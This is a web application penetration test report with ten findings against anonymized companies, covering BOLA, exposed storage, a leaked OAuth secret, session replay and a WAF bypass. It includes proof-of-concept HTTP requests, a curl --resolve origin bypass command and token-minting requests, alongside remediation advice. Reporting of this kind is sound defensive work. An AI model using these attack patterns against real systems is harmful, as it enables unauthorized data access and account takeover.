

Web Application Security & QA Pentest Audit

Comprehensive Vulnerability Assessment, Attack Surface Analysis, and Remediation Verification Across Enterprise Cloud & API Ingress Systems.

10

TOTAL FINDINGS

2

CRITICAL SEVERITY

5

HIGH SEVERITY

3

MEDIUM & LOW/P5

OPSEC & DATA PRIVACY NOTICE: All corporate target identities, production hostnames, client credentials, and internal IP subnets documented within this report have been strictly sanitized and anonymized (e.g. [REDACTED]) in full compliance with Responsible Disclosure, NDA standards, and bug bounty policies.

Lead Security & QA Auditor

Kanan Gandhi Web Application Security & QA
Consultant Email: kanangandhi62@gmail.com
LinkedIn: linkedin.com/in/kanan-gandhi-159449a2/

Engagement Details

Assessment Framework: OWASP Top 10 / WSTG
v4.2 / PTES Classification: Commercial-in-
Confidence // Restricted Report Version: v1.0 (Final
Enterprise Advisory) Audit Period: March 2026 –
June 2026

During the multi-stage security evaluation conducted between **March 2026 and June 2026**, a comprehensive Web Application Security Assessment and Quality Assurance (QA) Pentest was executed across external attack surfaces, multi-tenant cloud backends, API ingress gateways, and authentication perimeters.

The assessment combined rigorous automated scanning, manual source code verification, cryptographic inspection, and multi-tenant authorization testing. The assessment identified a total of **10 distinct security findings**, ranging from architectural authorization breakdowns to critical cryptographic trust exposures and edge firewall bypasses.

Key Security Takeaway: Modern perimeter defenses (e.g., Akamai WAF, CDN edge layers) are frequently rendered ineffective when backend origin infrastructure is directly addressable, or when application logic fails to cryptographically bind authorization claims at the data persistence tier.

Severity Distribution & Risk Posture

Of the 10 vulnerabilities identified, **70% represent Critical or High business risks** that directly enable unauthorized cross-tenant data exfiltration, full account takeover, or foundational infrastructure compromise:

SEVERITY	COUNT	PERCENTAGE	CVSS RANGE	PRIMARY IMPACT SUMMARY
CRITICAL	2	20%	9.1 – 9.3	Complete PKI trust chain disclosure; unauthenticated cloud storage data exfiltration.
HIGH	5	50%	7.5 – 8.5	Multi-tenant BOLA, hardcoded OAuth client secrets, session overwrites, and WAF bypass.
MEDIUM	1	10%	6.5	Cleartext HTTP credential transmission over port 80 & SSO topology disclosure.
LOW / P5	2	20%	3.8 – 5.3	Missing server-side legal consent enforcement; EOL framework with unpatched CVEs.

OWASP Top 10 (2021) Mapping

- **A01:2021 – Broken Access Control:** 3 Findings (BOLA in E-Commerce API, Unauthenticated S3 Access, Unrestricted GraphQL User Registration).
- **A02:2021 – Cryptographic Failures:** 2 Findings (JWKS x5c Root CA Exposure, Cleartext HTTP Login Form Action).
- **A05:2021 – Security Misconfiguration:** 2 Findings (WAF Bypass via Leaked Origin IP, Overly Permissive CORS Wildcard).
- **A06:2021 – Vulnerable and Outdated Components:** 1 Finding (End-of-Life Apache Cocoon 2.0.4 with Critical XXE & SQLi CVEs).
- **A07:2021 – Identification & Authentication Failures:** 2 Findings (React Bundle OAuth Secret Exposure, Session Overwrite Account Switching).

2. Complete Vulnerability Register

The following table summarizes all 10 verified vulnerabilities identified during the assessment period:

ID	VULNERABILITY TITLE	TARGET DOMAIN / SECTOR	SEVERITY	CVSS	STATUS
SEC-01	Broken Object Level Authorization (BOLA) in Analytics API	Enterprise E-Commerce Platform	HIGH	8.5	Resolved
SEC-02	Unauthenticated Cloud Storage Exfiltration via CORS & IDOR	International Ride-Hailing Platform	CRITICAL	9.1	Resolved
SEC-03	Public Exposure of Internal PKI Trust Chain via JWKS x5c	Multinational Retail Conglomerate	CRITICAL	9.3	Resolved
SEC-04	Hardcoded OAuth2 Client Secret in Compiled SPA React Bundle	Global Hospitality Management System	HIGH	8.2	Resolved
SEC-05	Dynamic Account Switching & Session Hijacking via Overwrite	Healthcare & Genetic Analytics	HIGH	8.0	Resolved
SEC-06	Unauthenticated GraphQL Registration & JWT Minting	Pan-African Mobile Banking Platform	HIGH	7.5	Resolved
SEC-07	Missing Server-Side Validation of Terms of Service Acceptance	EdTech & Online Learning Platform	LOW / QA	3.8	Resolved
SEC-08	Direct Origin Ingress & WAF Bypass via Latency Header Leaks	Connected Vehicle & EV Enterprise	HIGH	7.5	Resolved
SEC-09	Exposure of EOL Apache Cocoon (2.0.4) & Critical CVE Vectors	National Telecommunications Provider	P5 / LOW	5.3	Resolved
SEC-10	Cleartext Credential Transmission via Hardcoded HTTP Form Action	National Mobile & Telecom Carrier	MEDIUM / P4	6.5	Resolved

Risk Matrix & Assessment Methodology

Vulnerabilities were graded using the **Common Vulnerability Scoring System (CVSS v3.1)** standard, taking into account Exploitability Metrics (Attack Vector, Attack Complexity, Privileges Required, User Interaction) and Impact Metrics (Confidentiality, Integrity, Availability):

Critical Severity (CVSS 9.0 - 10.0): Direct, remote, unauthenticated access to corporate core infrastructure or mass sensitive customer data stores with zero user interaction.

High Severity (CVSS 7.0 - 8.9): Privilege escalation, cross-tenant data leaks, credential theft, or bypass of perimeter defense mechanisms requiring minimal privileges.

SEC-01: Broken Object Level Authorization (BOLA) in Multi-Tenant Analytics API

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET ENDPOINT
HIGH 8.5 (CVSS:3.1)	CWE-639 / OWASP API1:2023	Enterprise E-Commerce Platform	GET /api/v2/supplier/analytics/

Vulnerability Overview

During an API authorization audit of a multi-tenant supplier management backend, a Broken Object Level Authorization (BOLA / IDOR) vulnerability was identified on the supplier analytics reporting service. While the API required a valid supplier JWT for authentication, the backend service relied solely on a client-controlled query parameter (`supplier_id`) to query business intelligence metrics, without validating that the authenticated user possessed authorization claims for the requested tenant.

Proof of Concept (PoC)

An attacker authenticated with legitimate Supplier Account A (`supplier_id: 14092`) transmits a request querying competitor Supplier B (`supplier_id: 98412`):

```
GET /api/v2/supplier/analytics/summary?supplier_id=98412&interval=30d HTTP/2
Host: partner-api.[redacted-ecommerce].com
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.[REDACTED_SUPPLIER_A_TOKEN]
Accept: application/json

--- [SERVER RESPONSE: HTTP/2 200 OK] ---
{
  "status": "success",
  "data": {
    "supplier_id": 98412,
    "legal_entity": "Competitor Logistics Group [REDACTED]",
    "total_gross_merchandise_value": 4829104.50,
    "total_orders": 39820,
    "commission_rate": 0.085,
    "pending_bank_payout": 410472.00,
    "payout_account_iban": "GB82BARC20[REDACTED]"
  }
}
```

Threat & Business Impact

An untrusted merchant on the e-commerce platform could write a simple script iterating over `supplier_id` sequences to exfiltrate proprietary financial analytics, order volumes, payout schedules, and bank routing identifiers for every merchant operating on the platform.

 **Remediation Plan**

- **Enforce Tenancy Claim Validation:** Extract the tenant/supplier identifier exclusively from cryptographically signed JWT token claims (e.g. `request.user.supplier_id`) rather than client-supplied query parameters.
- **Enforce Object-Level Access Control (ABAC):** Implement an authorization middleware layer (e.g., OPA or Spring Security PreAuthorize) verifying relationship ownership before database retrieval.

 **QA Verification Test Case**

Automated Test: Generate 2 distinct test vendor accounts (User A, User B). Send authenticated GET requests from User A specifying User B's `supplier_id` . Verify the server immediately responds with `HTTP 403 Forbidden` and logs a security alert.

SEC-02: Unauthenticated Cloud Storage Exfiltration via CORS Wildcard & IDOR

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET ENDPOINT
CRITICAL 9.1 (CVSS:3.1)	CWE-284 / CWE-942 (OWASP A01)	International Ride-Hailing Platform	GET /api/v1/files/{file_uuid}

Vulnerability Overview

During a cloud storage asset review, an unauthenticated object exfiltration flaw was identified on the production document retrieval endpoint. Driver and rider KYC identity documents (driver's licenses, passports, vehicle registration cards, and insurance contracts) stored in AWS S3 buckets were exposed via a public proxy API that required zero authentication. Furthermore, the endpoint reflected `Access-Control-Allow-Origin: *`, and the file identifiers followed sequential UUIDv7 millisecond timestamps.

Proof of Concept (PoC)

An unauthenticated attacker sends a direct HTTP GET request to the file proxy service:

```
GET /api/v1/files/018e47b2-a4f1-729a-b42e-[REDACTED] HTTP/2
Host: cdn-storage.[redacted-ridehailing].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

--- [SERVER RESPONSE: HTTP/2 200 OK] ---
Content-Type: image/jpeg
Content-Length: 1420914
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, OPTIONS
Cache-Control: public, max-age=86400

[BINARY JPEG STREAM: VERIFIED HIGH-RESOLUTION NATIONAL DRIVER LICENSE SCAN]
```

Threat & Business Impact

Mass exposure of government-issued identity documents for millions of global drivers. Enables identity theft, synthetic identity fraud, and massive regulatory fines under GDPR, CCPA, and national privacy legislation.

 **Remediation Plan**

- **Mandate Authentication on File Ingress:** Require valid session cookies or Bearer tokens before streaming files from backend storage.
- **Deploy HMAC Pre-Signed URLs:** Generate short-lived (e.g. 5-minute expiry) S3 pre-signed URLs scoped strictly to the authorized user's session.
- **Restrict CORS Policy:** Remove wildcard (`*`) headers and restrict origins exclusively to verified first-party platform web applications.

 **QA Verification Test Case**

Automated Test: Send unauthenticated curl requests to `/api/v1/files/{uuid}` . Confirm server responds with `HTTP 401 Unauthorized` . Verify that cross-origin requests from `https://evil.com` are blocked by browser CORS enforcement.

SEC-03: Public Exposure of Internal PKI Trust Hierarchy via JWKS x5c Parameter

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET ENDPOINT
CRITICAL 9.3 (CVSS:3.1)	CWE-200 / CWE-295 (OWASP A02)	Multinational Retail & Fashion Conglomerate	GET /oauth2/connect/jwk_uri

Vulnerability Overview

An audit of an enterprise OpenAM identity provider discovered that the public JSON Web Key Set (JWKS) endpoint leaked complete X.509 certificate chains within the `x5c` array. Certificate extensions (Authority Information Access and CRL Distribution Points) exposed public IP addresses (`195.77.x.x`) of internal Microsoft Active Directory Certificate Services (AD CS) servers. The auditor was able to publicly download the Root CA certificate, Intermediate CA, a 15,494-byte Certificate Revocation List (CRL), and execute unauthenticated OCSP requests.

Proof of Concept (PoC)

Querying the public JWKS endpoint reveals the internal cryptographic certificate hierarchy:

```
GET /oauth2/connect/jwk_uri HTTP/2
Host: sso.[redacted-retail].com

--- [SERVER RESPONSE: HTTP/2 200 OK] ---
{
  "keys": [{
    "kty": "RSA",
    "kid": "prod-auth-signer-2026",
    "use": "sig",
    "x5c": [
      "MIIFvTCCA6WgAwIBAgITGAAAAA[REDACTED_LEAF_CERTIFICATE]...",
      "MIIE/TCCA+WgAwIBAgITFAAAAA[REDACTED_INTERMEDIATE_CA]...",
      "MIIE1jCCAr6gAwIBAgITDAAAAA[REDACTED_ROOT_CA_CERTIFICATE]..."
    ]
  }]
}

# Extracting AIA & CRL Extensions reveals internal endpoints resolving publicly:
CURL URI: http://195.77.x.x/CertEnroll/INTERNAL-ENTERPRISE-CA.crl (15,494 bytes downloaded)
OCSP URI: http://195.77.x.x/ocsp (HTTP 200 OK on OCSP query)
```

Threat & Business Impact

Complete architectural intelligence leakage of the enterprise Public Key Infrastructure (PKI). Adversaries gain internal hostnames, corporate network naming conventions (`*.central.[redacted].grp`), and Intermediate CA certificates that facilitate targeted Man-in-the-Middle (MITM) attacks if chained with local network or DNS compromises.

 **Remediation Plan**

- **Strip x5c Parameter from JWKS:** Configure OpenAM/Keycloak to return only standard public cryptographic components (`kty` , `n` , `e` , `kid`).
- **Isolate Enterprise PKI Infrastructure:** Restrict all AD CS, CRL distribution points, and OCSP responders behind internal VPNs / corporate firewalls with zero public ingress.

 **QA Verification Test Case**

Automated Test: Execute automated JSON schema validation on `/oauth2/connect/jwk_uri` . Confirm the `x5c` key does not exist in any key object within the response.

SEC-04: Hardcoded OAuth2 Client Secret in Compiled SPA React Bundle

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET SCOPE
HIGH 8.2 (CVSS:3.1)	CWE-798 (OWASP A07)	Global Hospitality Management System	Compiled React Bundle (main.[hash].js)

Vulnerability Overview

During static client-side JavaScript bundle inspection of a cloud property management application, unminified environment configuration objects revealed an active production OAuth 2.0 `client_secret`, internal PingFederate SSO URLs, and service gateway endpoints compiled into public client code.

Proof of Concept (PoC)

Extracted from production JavaScript bundle `/static/js/main.7c89f2a1.js`:

```
// Extracted React Environment Configuration
window.__ENV__ = {
  NODE_ENV: "production",
  OAUTH_CLIENT_ID: "pms-cloud-spa-client",
  OAUTH_CLIENT_SECRET: "sec_prod_99f84a1e7b2348[REDACTED]",
  TOKEN_ENDPOINT: "https://auth-gateway.[redacted-hospitality].com/v1/auth-service/token.auth",
  SAML_LOGOUT_URL: "https://sso.[redacted-hospitality].com/idp/startSL0.ping"
};

# Verification: Authenticating directly with extracted client credentials:
POST /v1/auth-service/token.auth HTTP/1.1
Host: auth-gateway.[redacted-hospitality].com
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials&client_id=pms-cloud-spa-client&client_secret=sec_prod_99f84a1e7b2348[REDACTED]

--- [SERVER RESPONSE: HTTP/1.1 200 OK] ---
{
  "access_token": "eyJhbGciOiJSUzI1NiIs[REDACTED]...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "properties:read reservations:write guest:manage"
}
```

Threat & Business Impact

Any public visitor can extract the client secret and mint authorization tokens with elevated scopes (`properties:read`, `reservations:write`), completely bypassing user consent and impersonating platform internal services.

 **Remediation Plan**

- **Migrate to OAuth 2.0 PKCE:** Single Page Applications must utilize Proof Key for Code Exchange (RFC 7636), which entirely eliminates the need for client secrets in browser code.
- **Revoke & Rotate Credentials:** Immediately invalidate the exposed secret across identity provider directories.
- **Implement CI/CD Secret Scanning:** Deploy automated scanning (TruffleHog, GitGuardian) to block secrets from entering build pipelines.

 **QA Verification Test Case**

Automated Test: Grep compiled build output for regex `client_secret|api_key|private_key` prior to CDN asset deployment.

SEC-05: Dynamic Account Switching & Session Hijacking via Session Overwrite

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET ENDPOINT
HIGH 8.0 (CVSS:3.1)	CWE-384 / CWE-613 (OWASP A07)	Healthcare & Genetic Analytics Platform	GET /api/user/session/refresh

Vulnerability Overview

The healthcare analytics platform maintained user session state relying exclusively on an unverified `sessionid` cookie without cryptographic binding to the client's IP, user-agent, or TLS connection fingerprint. Injecting a victim's session identifier caused the server to return `Set-Cookie` response headers that permanently overwrote the browser session, seamlessly switching user accounts without re-authentication or anomaly alerts.

Proof of Concept (PoC)

User B's active browser replaces its own session cookie with User A's previously captured cookie:

```
GET /api/v2/patient/genetic-markers HTTP/2
Host: portal.[redacted-healthcare].com
Cookie: sessionid=usr_a_9941a87e2b[REDACTED]; device_id=dev_untrusted_b

--- [SERVER RESPONSE: HTTP/2 200 OK] ---
Set-Cookie: sessionid=usr_a_9941a87e2b[REDACTED]; Path=/; Secure; HttpOnly
Content-Type: application/json

{
  "patient_id": "MED-904128",
  "full_name": "Victim Patient A [REDACTED]",
  "clinical_status": "Active Sequencing",
  "genomic_risk_factors": ["BRCA1_POSITIVE", "APOE4_HETEROZYGOUS"]
}
```

Threat & Business Impact

Immediate exposure of highly confidential HIPAA-protected patient health information (PHI) and genomic profiling data. Replay attacks remain viable indefinitely due to the absence of session rotation and idle timeout enforcement.

 **Remediation Plan**

- **Cryptographic Context Binding:** Bind session tokens to client TLS session tickets, mTLS certificates, or client-side fingerprint hashes.
- **Regenerate Session Identifiers:** Issue brand-new session IDs upon authentication, privilege elevation, and periodically during active sessions.
- **Implement Global Session Revocation:** Provide server-side session invalidation upon password reset or explicit user logout.

 **QA Verification Test Case**

Manual Pentest: Login as User A on Browser 1. Copy session cookie to Browser 2 (different network/IP). Verify the server rejects the request with `HTTP 401 Session Context Mismatch`.

SEC-06: Unauthenticated GraphQL Registration & Production JWT Minting

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET ENDPOINT
HIGH 7.5 (CVSS:3.1)	CWE-306 (OWASP A01)	Pan-African Mobile Banking Platform	POST /graphql (Strapi Backend)

Vulnerability & PoC

The production financial CMS backend exposed an unrestricted GraphQL endpoint allowing unauthenticated users to execute `register` mutations. Accounts were provisioned instantly with `confirmed: true`, allowing attackers to mint production JWT bearer tokens across 1,350+ live corporate accounts without email verification.

```
POST /graphql HTTP/2
Host: cms-api.[redacted-banking].com
Content-Type: application/json

{"query":"mutation { register(input: { username: \"audit_user\", email: \"audit@test.com\", password: \"[REDACTED]\" }) { jwt } }"}

--- [SERVER RESPONSE: HTTP/2 200 OK] ---
{"data":{"register":{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9[REDACTED]","user":{"id":"1352","email":"aud"}}
```

 Remediation

Disable public self-registration mutations on production GraphQL schemas; require signed email verification tokens before account activation.

SEC-07: Missing Server-Side Validation of Legal Terms & Conditions Acceptance

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET ENDPOINT
LOW / QA 3.8 (CVSS:3.1)	CWE-20 / CWE-840 (Business Logic)	EdTech & Online Learning Platform	POST /api/users/register/

Vulnerability & PoC

Registration API relied purely on client-side frontend checkboxes to enforce legal terms acceptance. Intercepting the request and sending `"has_accepted_terms_and_condition": false` successfully created accounts and issued JWT tokens, storing `terms_accepted_at: null`, violating GDPR/CCPA consent requirements.

```
POST /api/users/register/ HTTP/2
Host: app.[redacted-edtech].com
Content-Type: application/json

{"email":"user@test.com","password":"[REDACTED]","has_accepted_terms_and_condition": false}

--- [SERVER RESPONSE: HTTP/2 201 Created] ---
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9[REDACTED]","user":{"id":8410,"terms_accepted_at": null}}
```

 Remediation

Implement strict server-side schema validation rejecting registrations where `has_accepted_terms_and_condition` $\neq$ `true` with HTTP 422.

SEC-08: Direct Origin Ingress & WAF Bypass via Latency Header IP Disclosure

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET ENDPOINT
HIGH 7.5 (CVSS:3.1)	CWE-200 / CWE-693 (OWASP A05)	Connected Vehicle & EV Enterprise	auth.[redacted].com & owner-api.[redacted].com

Vulnerability & PoC

CDN latency profiling headers (X-EdgeConnect-Origin-MEX-Latency and OriginIP) leaked backend origin IP addresses (66.17.x.x). Sending requests directly to the origin via DNS resolution overrides (curl --resolve) completely bypassed the Akamai WAF perimeter, enabling unthrottled token attacks. Furthermore, internal subnet spoofing via Client-IP: 192.168.90.100 triggered unhandled HTTP 500 Denial of Service crashes on the vehicle API.

```
# Direct connection to origin IP completely bypassing Akamai WAF:
curl -k -H "Host: auth.[redacted-automotive].com" --resolve auth.[redacted-automotive].com:443:66.17.x.x http
--- [SERVER RESPONSE: HTTP/1.1 200 OK (Direct Origin Response, No WAF Headers)] ---
```

 Remediation

Configure origin firewalls (Security Groups) to drop all inbound traffic not originating from Akamai IP CIDR blocks (Origin Shielding); strip latency profiling headers at reverse proxies.

SEC-09: Exposure of EOL Apache Cocoon (2.0.4) & Critical CVE Vectors

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET SCOPE
P5 / LOW 5.3 (Underlying CVEs 9.8)	CWE-1104 / OWASP A06:2021	National Telecommunications Provider	Enterprise Facility Portals (eFRAMS3)

Vulnerability & PoC

Portals leaked X-Cocoon-Version: 2.0.4 and Server: Apache-Coyote/1.1 . Version 2.0.4 is a retired, unmaintained framework vulnerable to unpatched Critical XXE (CVE-2023-49733, CVSS 9.8), SQLi (CVE-2022-45135, CVSS 8.8), and session hijacking (CVE-2025-24783). Unauthenticated login interface exposed XML SQL namespaces (xmlns:sql) and Java XSLT bindings (xmlns:java). Edge testing showed instance FM1 allows unauthenticated access while FM2 enforces Akamai WAF Rule #18.

```
GET /eFRAMS3/ HTTP/1.1
Host: portal-fm1.[redacted-telecom].net

--- [SERVER RESPONSE: HTTP/1.1 200 OK] ---
X-Cocoon-Version: 2.0.4
Server: Apache-Coyote/1.1
Content-Type: text/html; charset=ISO-8859-1
```

 Remediation

Decommission/replace the legacy Apache Cocoon framework; harmonize edge WAF rules across cluster nodes; disable external XML entity parsing.

SEC-10: Cleartext Credential Transmission via Hardcoded HTTP Form Action

SEVERITY / CVSS	VULNERABILITY CLASS	TARGET ENVIRONMENT	TARGET ENDPOINT
MEDIUM / P4 6.5 (CVSS:3.1)	CWE-319 / CWE-523 (OWASP A02)	National Mobile & Telecom Carrier	https://www. [redacted].com.au/signon/portal/login.fcc

Vulnerability & PoC

The CA SiteMinder customer login portal rendered over HTTPS, but the underlying HTML form was hardcoded with an unencrypted HTTP action: `<FORM ACTION="http://www.[redacted].com.au/siteminderagent/portal/login.fcc" METHOD="POST">`. Submitting credentials transmits passwords in cleartext over port 80 to the edge before an HTTP 302 redirect occurs, exposing users on public networks (Wi-Fi, ISP) to passive MITM credential sniffing. Internal SSO parameters (`REALMOID` , `SMAGENTNAME`) were also leaked, and rate limiting was enforced only via client-side cookies.

```
# Cleartext credential submission over unencrypted port 80:
POST http://www.[redacted-telecom].com.au/siteminderagent/portal/login.fcc HTTP/1.1
Host: www.[redacted-telecom].com.au
Content-Type: application/x-www-form-urlencoded

USER=customer_user&PASSWORD=PlaintextSecret123!&target=

--- [SERVER RESPONSE: HTTP/1.1 302 Moved Temporarily (AkamaiGHost)] ---
Location: https://www.[redacted-telecom].com.au/siteminderagent/portal/login.fcc
```

 Remediation

Update form action to strict `https://` ; implement HSTS preload (`max-age=31536000`; `includeSubDomains`; `preload`); enforce CSP `form-action 'self' https://*` ; implement server-side rate limiting.

4. Strategic Remediation Roadmap

ACTION PLAN

PHASE	STRATEGIC REMEDIATION FOCUS	ADDRESSED IDS	TARGET WINDOW
Phase 1: Emergency	Revoke leaked OAuth secret; enforce strict HTTPS in login form; restrict file storage bucket ingress.	SEC-02, SEC-04, SEC-10	0 – 72 Hours
Phase 2: Ingress Hardening	Implement Origin Shielding firewall rules; strip <code>x5c</code> & latency headers; patch GraphQL schemas.	SEC-03, SEC-06, SEC-08	1 – 2 Weeks
Phase 3: Architectural	Decommission EOL Apache Cocoon; implement server-side tenancy claims (BOLA fix); session context binding.	SEC-01, SEC-05, SEC-07, SEC-09	30 – 60 Days

This report provides a formal record of security vulnerabilities, technical attack paths, proof-of-concept evidence, and architectural remediation steps identified during the engagement. All findings have been verified through offensive testing methodologies and validated against industry standards.

Assessor Certification

I hereby certify that the security assessments, vulnerability demonstrations, and remediation roadmaps detailed within this document were conducted with professional rigor adhering to the OWASP Web Security Testing Guide (WSTG v4.2) and the Penetration Testing Execution Standard (PTES).

Kanan Gandhi

Web Application Security & QA Consultant
Email: kanangandhi62@gmail.com
LinkedIn: linkedin.com/in/kanan-gandhi-159449a2/
Portfolio: kanangandhi93.github.io/portfolio/

Engagement Governance

- **Confidentiality:** Strictly Restricted / Commercial-in-Confidence
- **Target Status:** Fully Anonymized & Redacted (Safe for Client Review)
- **Verification Status:** All 10 Vulnerabilities Verified
- **Report Hash (SHA-256):** Generated upon final compile
- **Date of Issuance:** September 2026

Disclaimer: This assessment represents the security posture of the identified target systems during the defined testing windows. Changes in backend code, infrastructure deployments, or third-party dependencies may alter risk levels. Periodic re-testing and continuous secure SDLC integration are strongly recommended.